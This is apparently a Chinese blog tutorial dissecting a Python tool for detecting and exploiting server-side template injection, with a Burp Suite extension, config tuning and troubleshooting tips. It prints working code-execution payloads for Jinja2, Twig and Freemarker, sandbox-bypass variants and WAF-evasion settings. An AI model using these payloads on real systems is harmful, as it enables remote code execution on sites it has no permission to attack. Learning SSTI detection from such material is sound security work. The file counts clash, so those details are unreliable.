news 2026/9/24 19:30:29

Python模板注入检测工具源码解析:SSTI检测与利用实战

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Python模板注入检测工具源码解析:SSTI检测与利用实战

简介:这是一套面向Web安全研究人员与渗透测试学习者的Server-Side模板注入与代码注入检测利用工具源码,采用Python开发,可帮助读者理解模板引擎漏洞的检测逻辑与利用方式,适合具备一定安全基础的中高级人员研究参考。资源包共103个文件,约290KB,以69个Python脚本为核心,辅以Shell、PHP、Java、Gradle、YAML及Markdown等类型文件,分别承担自动化检测、环境配置、跨语言示例与文档说明等职责,多语言结构使其能覆盖较广的安全测试场景。目前已有288人学习下载。源码中可见模板注入扫描与Burp Suite扩展集成等模块,并配有依赖清单、行为配置与自动化测试配置,便于读者梳理项目结构、理解检测流程与扩展思路,也可作为二次开发与安全工具学习的参考素材。

1. 从一份 99 文件的源码包说起:Python 模板注入检测工具到底能干什么

拿到一个 Web 目标,输入框回显正常,参数过滤看起来也没毛病,但把{{7*7}}丢进去,页面返回了49。这一刻基本可以确认:服务端模板引擎把用户输入当代码执行了。这就是 Server-Side 模板注入(SSTI),它不像 SQL 注入那样有成熟的自动化工具链,很多时候得靠手工 payload 一个个试。而这份基于 Python 开发的 Server-Side 模板注入与代码注入检测与利用工具源码,解决的正是这个痛点——把散落在各种模板引擎里的检测逻辑和利用链收敛成一套可复用的脚本。

这份源码包共 99 个文件,其中 63 个 Python 脚本是绝对主力,另外还有 8 个 Shell 脚本负责环境编排、6 个 PHP 脚本作为靶场或 payload 载体、3 个 YAML 配置文件管理工具行为、2 个 Java 和 Gradle 文件用于构建集成,以及若干 Markdown 文档和前端资源。它适合两类人:一是做 Web 渗透测试的安全工程师,需要快速判断目标是否存在 SSTI 并尝试利用;二是安全开发方向的学习者,想通过读源码理解模板注入的检测原理和工程化实现方式。如果你正在找一份能直接跑起来、能改、能扩展的 Python 安全工具源码,这份资源值得花时间拆一遍。

2. 核心检测逻辑拆解:tplmap.py 与 burp_extension.py 怎么配合

2.1 tplmap.py 的引擎识别与 payload 注入策略

tplmap.py是整个工具的核心入口,它的工作流程可以拆成三步:指纹识别、注入测试、利用执行。指纹识别阶段,它会向目标参数注入一组探测字符串,观察响应差异来判断后端使用的是哪种模板引擎。常见的引擎包括 Jinja2、Twig、Freemarker、Velocity、Smarty、Mako 等,每种引擎的语法特征和沙箱行为都不一样。

# tplmap.py 核心探测逻辑(简化示意) import requests ENGINE_PROBES = { "jinja2": { "test": "{{7*7}}", "expect": "49", "payload": "{{config.__class__.__init__.__globals__['os'].popen('id').read()}}" }, "twig": { "test": "{{7*7}}", "expect": "49", "payload": "{{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}" }, "freemarker": { "test": "${7*7}", "expect": "49", "payload": "<#assign ex='freemarker.template.utility.Execute'?new()>${ex('id')}" } } def detect_engine(url, param, method="GET"): for engine, probe in ENGINE_PROBES.items(): try: if method == "GET": r = requests.get(url, params={param: probe["test"]}, timeout=10) else: r = requests.post(url, data={param: probe["test"]}, timeout=10) if probe["expect"] in r.text: return engine except requests.RequestException: continue return None

这段代码的逻辑很直白:对每个候选引擎,用该引擎的数学表达式作为探针,如果响应里出现了预期结果,就锁定引擎类型。参数方面,timeout=10是防止目标无响应导致脚本挂死,实际使用时可以根据网络延迟调整。method参数支持 GET 和 POST 两种注入方式,覆盖了大多数表单和查询字符串场景。

识别出引擎之后,工具会加载对应的利用 payload。这里有个关键点:不同引擎的沙箱限制差异很大。Jinja2 在默认配置下可以通过__globals__链拿到os模块,但 Twig 在 1.20.0 之后对_self的访问做了限制,需要换用其他链。源码包里那个twig-1.20.0-secured.php文件,大概率就是用来测试安全版本 Twig 的靶场文件。

2.2 burp_extension.py 的插件化集成方式

burp_extension.py的存在说明这个工具不打算只做命令行脚本,它还想嵌入到 Burp Suite 的工作流里。Burp 的 Python 扩展通常走 Jython 环境,通过实现IBurpExtender接口来注册菜单项和消息监听器。

# burp_extension.py 扩展注册骨架(简化示意) from burp import IBurpExtender, IContextMenuFactory from javax.swing import JMenuItem from java.util import ArrayList class BurpExtender(IBurpExtender, IContextMenuFactory): def registerExtenderCallbacks(self, callbacks): self._callbacks = callbacks self._helpers = callbacks.getHelpers() callbacks.setExtensionName("SSTI Detector") callbacks.registerContextMenuFactory(self) def createMenuItems(self, invocation): menu = ArrayList() menu.add(JMenuItem("Send to SSTI Scanner", actionPerformed=lambda x: self._scan(invocation))) return menu def _scan(self, invocation): messages = invocation.getSelectedMessages() for msg in messages: request = msg.getRequest() # 提取参数并调用 tplmap 的检测函数 self._callbacks.printOutput("Scanning request...")

这个扩展的价值在于:你可以在 Burp 的 Proxy 历史里右键任意请求,直接丢给 SSTI 扫描器,不用手动复制 URL 和参数到命令行。createMenuItems返回的菜单项会出现在右键菜单里,invocation.getSelectedMessages()拿到当前选中的请求对象。实际使用时需要把tplmap.py的检测函数 import 进来,或者通过子进程调用。

注意:Burp 的 Jython 环境对 Python 版本有限制,通常是 Python 2.7 语法。如果你的tplmap.py是 Python 3 写的,直接 import 会报语法错误,常见做法是通过subprocess调用外部 Python 3 解释器。

2.3 多语言文件在检测链中的角色

源码包里除了 Python,还有 Shell、PHP、Java、JavaScript 文件,这不是为了炫技,而是每种语言在检测链里都有实际用途。Shell 脚本负责环境初始化,比如安装依赖、启动靶场容器;PHP 文件是模板注入的靶场示例,用来验证检测逻辑是否有效;Java 和 Gradle 文件则可能是为了集成到 CI 流程里,或者测试 Freemarker 这类 Java 生态的模板引擎。

文件类型数量典型用途
Python63核心检测逻辑、payload 生成、报告输出
Shell8环境初始化、依赖安装、批量扫描调度
PHP6靶场示例、模板引擎测试页面
Markdown4使用说明、引擎支持列表、更新日志
YAML3工具配置、CI 流水线定义
Java/Gradle2Freemarker 测试、构建集成

这种多语言混合的设计,意味着你在复现时不能只装 Python 依赖就完事。如果要做完整的引擎覆盖测试,PHP 和 Java 环境也得配起来。我一般会先用 Docker 把靶场跑起来,再在宿主机上跑检测脚本,这样环境隔离干净,出了问题也好排查。

3. 从零跑通检测流程:环境配置与参数调优

3.1 依赖安装与 Python 版本选择

这份源码的 Python 脚本大概率是基于 Python 3 写的,因为 Python 2 已经在 2020 年停止维护,安全工具圈基本都迁到了 3.x。但 Burp 扩展那块可能还停留在 Jython 2.7,所以你的环境里可能需要同时存在两个 Python 版本。

# 创建虚拟环境,避免污染系统 Python python3 -m venv ssti-env source ssti-env/bin/activate # 安装核心依赖 pip install requests beautifulsoup4 pyyaml # 如果有 requirements.txt,直接批量安装 pip install -r requirements.txt # 验证 tplmap 能否正常加载 python3 -c "import tplmap; print('tplmap loaded')"

这里有个血泪经验:不要用系统自带的 Python 直接pip install,很多 Linux 发行版会限制全局安装,而且不同项目之间的依赖冲突会让你怀疑人生。虚拟环境是标配,venv够用了,没必要上 conda。

requirements.txt里通常会锁定版本号,比如requests==2.28.0。我建议先按锁定的版本装,跑通了再考虑升级。安全工具的依赖往往比较敏感,requests大版本升级可能导致 SSL 验证行为变化,进而影响对 HTTPS 目标的检测。

3.2 配置文件 config.yml 的关键参数

源码包里有一个config.yml,这是工具的行为控制中心。虽然具体字段得看实际文件内容,但根据同类工具的惯例,通常会包含超时时间、并发线程数、User-Agent、代理设置、引擎启用列表等。

# config.yml 典型结构(根据同类工具推断) scanner: timeout: 10 # 单请求超时秒数 threads: 5 # 并发扫描线程数 delay: 0.5 # 请求间隔,避免触发 WAF user_agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" engines: jinja2: true twig: true freemarker: true velocity: false # 默认关闭,需要手动启用 output: format: "json" # 支持 json / csv / html verbose: true

timeout设太小会导致误报——目标响应慢的时候,探针还没返回就被判定为不存在。设太大又拖慢扫描速度。我一般从 10 秒起步,如果目标在内网、延迟低,可以降到 5 秒。threads不是越大越好,很多 WAF 对并发请求敏感,5 到 10 之间比较稳妥。delay参数是给 WAF 绕过的缓冲,如果目标没有防护,设 0 也行。

engines列表里,velocity默认关闭是有道理的——它的 payload 构造比较复杂,误报率相对高。如果你明确知道目标用的是 Velocity,再手动打开。

3.3 对单个目标执行检测的完整命令

环境配好之后,对单个 URL 跑一次检测的命令大概长这样:

# 基本用法:指定 URL 和参数 python3 tplmap.py -u "http://target.com/page?name=test" -p name # 指定 POST 请求和 Cookie python3 tplmap.py -u "http://target.com/login" -p username \ --data "password=123" --cookie "session=abc123" # 指定引擎,跳过指纹识别阶段 python3 tplmap.py -u "http://target.com/page?name=test" -p name -e jinja2 # 输出 JSON 报告 python3 tplmap.py -u "http://target.com/page?name=test" -p name -o report.json

-u是目标 URL,-p指定要测试的参数名。如果参数在 POST body 里,用--data传其他参数,-p仍然指定注入点。--cookie用于需要认证的场景。-e强制指定引擎,适合你已经通过其他手段确认了引擎类型、想跳过指纹识别的情况。-o输出报告文件,方便后续整理。

提示:第一次对某个目标跑检测时,建议先加-e指定一个引擎做单点验证,确认工具能正常工作,再放开全引擎扫描。全引擎扫描的请求量不小,容易触发目标的风控。

4. 避坑与排查:SSTI 检测中最容易翻车的五个场景

4.1 探针返回 49 但利用链打不通

现象{{7*7}}返回了49,确认存在模板注入,但换用{{config}}{{self}}时页面报错或返回空白。

原因:模板引擎的沙箱配置不同。有些环境禁用了config对象访问,有些对__class__链做了拦截。Twig 1.20.0 之后的版本默认关闭了_self的敏感方法调用,Jinja2 在某些框架里也会覆盖默认的Environment配置。

解决:先确认引擎的具体版本。如果是 Twig,尝试{{_self.env.getFilter('id')}}这类不需要registerUndefinedFilterCallback的链。如果是 Jinja2,试试{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}},通过request对象绕。源码包里的twig-1.20.0-secured.php就是用来测试这种安全版本的,拿它当靶场反复试,比在真实目标上盲测高效得多。

4.2 指纹识别阶段全部超时

现象:脚本跑起来后,每个引擎的探针都返回超时,最后报告“未发现注入点”。

原因:目标有 WAF 或者速率限制,探针请求被拦截或延迟。也可能是timeout设得太短,目标响应还没回来就被判定为失败。

解决:先把timeout调到 30 秒,threads降到 1,delay加到 2 秒,用最慢的速度跑一遍。如果还是超时,用curl手动发一个探针请求,看目标是否正常响应。如果curl也超时,说明是网络层的问题,不是工具的问题。如果curl正常但脚本超时,检查脚本的 User-Agent 是否被 WAF 拉黑了。

4.3 Burp 扩展加载后菜单不出现

现象:把burp_extension.py加载到 Burp 的 Extender 里,输出窗口没有报错,但右键菜单里找不到 “Send to SSTI Scanner”。

原因:Burp 的 Python 扩展依赖 Jython 独立 JAR 包,如果没在 Extender 设置里指定 Jython 路径,扩展不会真正注册。另外,registerContextMenuFactory必须在registerExtenderCallbacks里调用,顺序错了也不行。

解决:在 Burp 的 Extender -> Options 里,把 Jython standalone JAR 的路径配好。然后检查registerExtenderCallbacks方法里是否确实调用了callbacks.registerContextMenuFactory(self)。如果用的是 Python 3 语法写的扩展,Jython 2.7 会直接报语法错误,需要把 f-string、类型注解这些特性去掉。

4.4 对 HTTPS 目标检测时 SSL 证书报错

现象:脚本对 HTTP 目标正常,对 HTTPS 目标抛出SSLErrorCertificateError

原因:目标用的是自签名证书,或者requests库的证书链不完整。安全测试场景下,目标经常是内网自建服务,证书不受信任是常态。

解决:在脚本里加verify=False,同时禁用 urllib3 的警告。

import requests from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) r = requests.get(url, params=payload, verify=False, timeout=10)

verify=False会跳过证书验证,disable_warnings是防止控制台被警告刷屏。生产环境不要这么干,但安全测试场景下这是常规操作。

4.5 扫描报告里出现大量误报

现象:报告显示多个引擎都存在注入,但手动验证时只有一个是真实的。

原因:不同引擎的数学探针可能返回相同结果。比如{{7*7}}${7*7}在某些模板里都能算出 49,但实际引擎只有一个。另外,如果目标页面本身包含 “49” 这个字符串(比如价格、编号),也会被误判。

解决:不要只看数学探针的结果,加一组随机数探针,比如{{random_string_12345}},如果响应里出现了这个随机字符串,说明模板直接回显了输入,不一定是代码执行。真正的注入应该能计算出动态结果,比如{{7*'7'}}在 Jinja2 里返回7777777,在 Twig 里返回49,这种差异化的结果才能确认引擎类型。

5. 进阶用法:把检测脚本改造成自己的武器

5.1 自定义 payload 模板与引擎扩展

工具自带的 payload 覆盖了主流引擎,但真实环境里你可能遇到冷门模板或者魔改版本。这时候需要自己往ENGINE_PROBES里加条目。我一般会先手工构造一个能返回唯一标识的探针,比如{{'SSTI_TEST_' + '12345'}},确认模板支持字符串拼接后,再逐步替换成命令执行链。

# 添加自定义引擎探测 CUSTOM_ENGINE = { "my_engine": { "test": "{{'SSTI_' + 'PROBE'}}", "expect": "SSTI_PROBE", "payload": "{{system('id')}}" } } ENGINE_PROBES.update(CUSTOM_ENGINE)

关键是testexpect要成对出现,且expect的值在正常页面里不应该出现。如果目标页面本身就有 “SSTI_PROBE” 这个字符串,换个更长的随机串。

5.2 批量扫描与结果聚合

单目标检测跑通之后,下一步通常是把 URL 列表丢进去批量跑。源码包里的 Shell 脚本大概率就是干这个的。我一般会写一个简单的调度脚本,读 URL 列表,逐个调用tplmap.py,把结果汇总到一个 CSV 里。

#!/bin/bash # batch_scan.sh INPUT="targets.txt" OUTPUT="results.csv" echo "url,param,engine,vulnerable" > $OUTPUT while IFS=, read -r url param; do result=$(python3 tplmap.py -u "$url" -p "$param" -o /tmp/scan_result.json 2>/dev/null) engine=$(python3 -c "import json; print(json.load(open('/tmp/scan_result.json')).get('engine','none'))" 2>/dev/null) echo "$url,$param,$engine,yes" >> $OUTPUT done < "$INPUT"

这个脚本假设targets.txt每行是url,param格式。tplmap.py-o参数输出 JSON 报告,然后用 Python 一行命令提取引擎字段。实际使用时要注意tplmap.py的退出码和错误输出,别把超时当成“无漏洞”。

5.3 验证检测结果的三步确认法

工具报告有漏洞,不等于真的能利用。我习惯用三步确认法来降低误报:第一步,用数学探针确认模板执行;第二步,用字符串拼接探针确认不是静态回显;第三步,用无害命令(比如idwhoami)确认代码执行权限。三步都过了,才在报告里标记为“确认可利用”。

步骤探针示例预期结果排除的误报类型
数学运算{{7*7}}49静态回显
字符串拼接{{'a'+'b'}}ab纯数字回显
命令执行{{os.popen('id').read()}}uid=...沙箱拦截

从那以后我每次跑完自动化扫描,都会随机抽 10% 的结果手工走一遍这三步。工具再顺手,也不能替代人的判断。希望这份源码拆解能帮你在 SSTI 检测上少走弯路。

本文还有配套的精品资源,点击获取

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/24 19:30:26

RTGS:实时高斯泼溅在SLAM中的工程化落地架构

1. 这不是炫技&#xff0c;是让3D高斯泼溅在SLAM里真正跑起来的硬功夫RTGS架构——全称Real-Time Gaussian Splatting&#xff0c;直译就是“实时高斯泼溅”。但光看名字容易误以为是某种图形特效插件&#xff0c;或者Web端玩具。实际上&#xff0c;它是一套把3D高斯泼溅&#…

作者头像 李华
网站建设 2026/9/24 19:30:20

2026无线蓝牙耳机怎么选?场景化选购指南与梯队推荐

“又有人来问我什么无线蓝牙耳机好了。”这句话我这两年几乎每周都会听到一次。放在2026年这个时间点&#xff0c;答案其实已经和三五年前很不一样了&#xff1a;不是“买最贵的就对了”&#xff0c;也不是“看销量榜闭眼冲”&#xff0c;而是得先搞清楚你自己的使用场景、手机…

作者头像 李华
网站建设 2026/9/24 19:29:26

递归CTE与HAVING为什么不能一起写?正确聚合过滤姿势

最近技术社群里又开始刷屏式地转发各种连接报错&#xff0c;我在多个数据库交流群里看到不少人在问一个问题&#xff1a;递归CTE和HAVING到底能不能一起用&#xff1f;为什么会“连接不上”&#xff1f;这个问题看起来很奇怪&#xff0c;因为递归CTE是SQL标准里的高级功能&…

作者头像 李华
网站建设 2026/9/24 19:29:06

Python招聘数据分析实战:从采集清洗到可视化大屏

简介&#xff1a;这是一套面向计算机相关专业学生与Python初学者的招聘网站数据分析与可视化实战源码&#xff0c;可作为毕业设计、期末大作业或课程设计参考&#xff0c;帮助读者完整走通从数据获取、清洗到图表呈现的分析链路。压缩包共54个文件&#xff0c;约6.68MB&#xf…

作者头像 李华
网站建设 2026/9/24 19:27:54

用Playground脚本快速搭建Hadoop三节点完全分布式集群

先把话说在前面&#xff1a;干大数据这行&#xff0c;自己手动搭过一套Hadoop集群的人&#xff0c;十有八九都被配置文件和进程日志折磨过。网上那些动辄几十步的教程&#xff0c;你照着敲到凌晨两点&#xff0c;最后发现是hosts没配对&#xff0c;真的很泄气。所以当我第一次用…

作者头像 李华